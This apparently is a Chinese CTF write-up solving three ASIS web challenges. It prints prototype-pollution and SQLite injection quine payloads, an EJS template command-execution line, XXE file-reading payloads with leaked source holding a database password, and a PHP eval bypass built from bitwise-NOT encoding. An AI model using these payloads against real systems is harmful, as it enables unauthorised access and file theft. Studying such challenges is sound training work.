源码
app.js
const express = require('express');
const app = express();
const session = require('express-session');
const db = require('better-sqlite3')('./db.db', {readonly: true});
const cookieParser = require("cookie-parser");
const FileStore = require('session-file-store')(session);
const fs = require('fs');
app.locals.flag = "REDACTED"
app.use(express.static('static'));
app.use(cookieParser());
app.use(express.urlencoded({extended: false}));
app.use(express.json());
app.set('views', __dirname + '/views');
app.set('view engine', 'ejs');
app.engine('html', require('ejs').renderFile);
const server = app.listen(3000, function(){
console.log("Server started on port 3000")
});
app.use(session({
secret: 'REDACTED',
resave: false,
saveUninitialized: true,
store: new FileStore({path: __dirname+'/sessions/'})
}));
const router = require('./router/main')(app, db, fs);
main.js
module.exports = function(app, db, fs){
app.get('/', function(req, res){
res.render('index.html')
});
app.post('/login', function(req, res){
var user = {};
var tmp = req.body;
var row;
if(typeof tmp.pw !== "undefined"){
tmp.pw = tmp.pw.replace(/\\/gi,'').replace(/\'/gi,'').replace(/-/gi,'').replace(/#/gi,'');
}
for(var key in tmp){
user[key] = tmp[key];
}
if(req.connection.remoteAddress !== '::ffff:127.0.0.1' && tmp.id === 'admin' || typeof user.id === "undefined"){
user.id = 'guest';
}
req.session.user = user.id;
if(typeof user.pw !== "undefined"){
row = db.prepare(`select pw from users where id='admin' and pw='${user.pw}'`).get();
if(typeof row !== "undefined"){
req.session.isAdmin = (row.pw === user.pw);
}else{
req.session.isAdmin = false;
}
if(req.session.isAdmin && req.session.user === 'admin'){
res.statusCode = 302;
res.setHeader('Location','admin');
res.end();
}else{
res.end("Access Denied!");
}
}else{
res.end("No password given.");
}
});
app.get('/admin', function(req, res){
if(typeof req.session.isAdmin !== "undefined" && req.session.isAdmin && req.session.user === 'admin'){
if(typeof req.query.test !== "undefined"){
res.render(req.query.test);
}else{
res.render("admin.html");
}
}else{
res.end("Access Denied!");
}
});
app.post('/upload', function(req, res){
if(typeof req.session.isAdmin !== "undefined" && req.session.isAdmin && req.session.user === 'admin'){
if(typeof req.body.name !== "undefined" && typeof req.body.file !== "undefined"){
var fname = req.body.name;
var dir = './views/upload/'+req.session.id;
var contents = req.body.file;
!fs.existsSync(dir) && fs.mkdirSync(dir);
fs.writeFileSync(dir+'/'+fname, contents);
res.end("Done.");
}else{
res.end("Something's wrong");
}
}else{
res.end("Permission Denied!");
}
});
}
for(var key in tmp){
user[key] = tmp[key];
}
很明显这儿存在着注入
这儿我们先考虑盲注
由于SQLite
不像MYSQL
那样有sleep()
函数
我们只能通过让它运算更长时间来达到延时的目的
randomblob(N)
返回一个 N
字节长的包含伪随机字节的 BLOG
, N
应该是正整数
关于randomblob()
这个函数,实际上还有更有意思的东西:如果长度N过长就会出现Error
所以我们直接盲注就可以
payload
{"__proto__": {"id": "admin","pw": "xxx' union select case when (条件) then (select randomblob(100000000000000)) else 1 end--"}}
然而始终跑不出来,因为这儿的表是空的~~
那我们怎么把使条件成立呢?
除非row.pw === user.pw
返回True
SQLite配合replace
与zeroblob
和||
连接符可以使等式成立
上面的函数只在SQLite中成立(||
在mysql
中使用必须设置set session sql_mode='STRICT_TRANS_TABLES,NO_ENGINE_SUBSTITUTION,pipes_as_concat';
)
Payload :' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||')--
Generates:' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||
可以发现后面的’)–没有了,这个也得被重复,所以还得再套一层:
Payload :' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')--')--')--
Generates:' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')--')--')--
<%- global.process.mainModule.require('child_process').execSync('cat app.js') %>
var dir = './views/upload/'+req.session.id;
题目并没有告诉我们session.id
是什么
通过读源码我们知道
s:
到.
中间的部分就是session.id
我们的connect.sid
为:
s:ZzK6mUc_xOxQY7Y-qR1ckf-4QdprkYdi.QDraIIPMwEHgcra9xUMbHmDjTivIkbAAxyfhVL1PJXY
所以session.id=ZzK6mUc_xOxQY7Y-qR1ckf-4QdprkYdi
这道题主要考察SQL注入和XXE
通过寻找我们这个url
https://poems.asisctf.com/books.php?type=excerpt&id=1
我们可以看见这儿直接有回显,而且通过报错我们知道查询出来的数据使用了simplexml_load_string()
处理
我们先查询一下数据库
Table: books
id=-1' select group_concat(table_name) from information_schema.tables where table_schema=database()--+#
Column: id,info
id=-1'union select group_concat(column_name) from information_schema.columns where table_schema=database()--+#
我们看见这儿并没有flag
我们查看一下
由于最后查询的数据会经过simplexml_load_string()
处理,所以我们直接用XXE
读文件
根据上面的url
猜测提取xml
的excerpt
payload:
id=-1’ union select ‘1abc’-- -
我们的猜测没有问题,是直接读取xml
的excerpt
然后随便找个读文件的xxe
id=-1' union select '<!DOCTYPE excerpt [<!ENTITY xxe SYSTEM "file:///flag">]><root><excerpt>%26xxe;</excerpt></root>'-- -
然后是第二部分
第二部分的flag不在根目录下,我们先读一下books.php
payload:
id=-1' union select '<!DOCTYPE excerpt [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///code/books.php">]><root><excerpt>%26xxe;</excerpt></root>'--- -
得到的base64解码得到
<?php
sleep(1);
function connect_to_database() {
$link = mysqli_connect("web4-mariadb", "ctfuser", "dhY#OThsdivojq2", "ASISCTF");
if (!$link) {
echo "Error: Unable to connect to DB.";
exit;
}
return $link;
}
function fetch_books($condition) {
$link = connect_to_database();
if ($condition === "") {
$where_condition = "";
} else {
$where_condition = "WHERE $condition";
}
$query = "SELECT info FROM books $where_condition";
if ($result = mysqli_query($link, $query, MYSQLI_USE_RESULT)) {
$books_info = array();
while($row = $result->fetch_array(MYSQLI_NUM)) {
$books_info[] = (string) $row[0];
}
mysqli_free_result($result);
}
mysqli_close($link);
return $books_info;
}
function xml2array($xml) {
return array(
'id' => (string) $xml->id,
'name' => (string) $xml->name,
'author' => (string) $xml->author,
'year' => (string) $xml->year,
'link' => (string) $xml->link
);
}
function get_all_books() {
$books = array();
$books_info = fetch_books("");
foreach ($books_info as $info) {
$xml = simplexml_load_string($info, 'SimpleXMLElement', LIBXML_NOENT);
$books[] = xml2array($xml);
}
return $books;
}
function find_book($condition) {
$book_info = fetch_books($condition)[0];
$xml = simplexml_load_string($book_info, 'SimpleXMLElement', LIBXML_NOENT);
return $xml;
}
$type = @$_GET["type"];
if ($type === "list") {
$books = get_all_books();
echo json_encode($books);
} elseif ($type === "excerpt") {
$id = @$_GET["id"];
$book = find_book("id='$id'");
$bookExcerpt = $book->excerpt;
echo $bookExcerpt;
} else {
echo "Invalid type";
}
我们可以看见,确实是读取数据库数据,然后用simplexml_load_string
处理提取excerpt
部分
那会不会flag在数据库中,而因为只提取了excerpt而显示不出来呢?
我们用replace
函数替换>
标签
payload:
id=-1' union select concat('<root><id>4</id><excerpt>',replace((select group_concat(id,info) from books),'<','x'),'</excerpt></root>')-- -
源码
<?php
if(isset($_GET['view-source'])){
highlight_file(__FILE__);
die();
}
if(isset($_GET['warmup'])){
if(!preg_match('/[A-Za-z]/is',$_GET['warmup']) && strlen($_GET['warmup']) <= 60) {
eval($_GET['warmup']);
}else{
die("Try harder!");
}
}else{
die("No param given");
}
~%89%9E%8D%A0%9B%8A%92%8F // var_dump
~%8C%9C%9E%91%9B%96%8D // scandir
~%D1%D0 // ./
~%99%96%93%9A%A0%98%9A%8B%A0%9C%90%91%8B%9A%91%8B%8C // file_get_contents
~%99%93%9E%98%D1%8F%97%8F // flag.php
?warmup=(~%89%9E%8D%A0%9B%8A%92%8F)((~%8C%9C%9E%91%9B%96%8D)(~%D1%D0)); //var_dump(scandir('./'))
?warmup=(~%89%9E%8D%A0%9B%8A%92%8F)((~%99%96%93%9A%A0%98%9A%8B%A0%9C%90%91%8B%9A%91%8B%8C)(~%99%93%9E%98%D1%8F%97%8F)); //var_dump(file_get_contents('flag.php'));
参考链接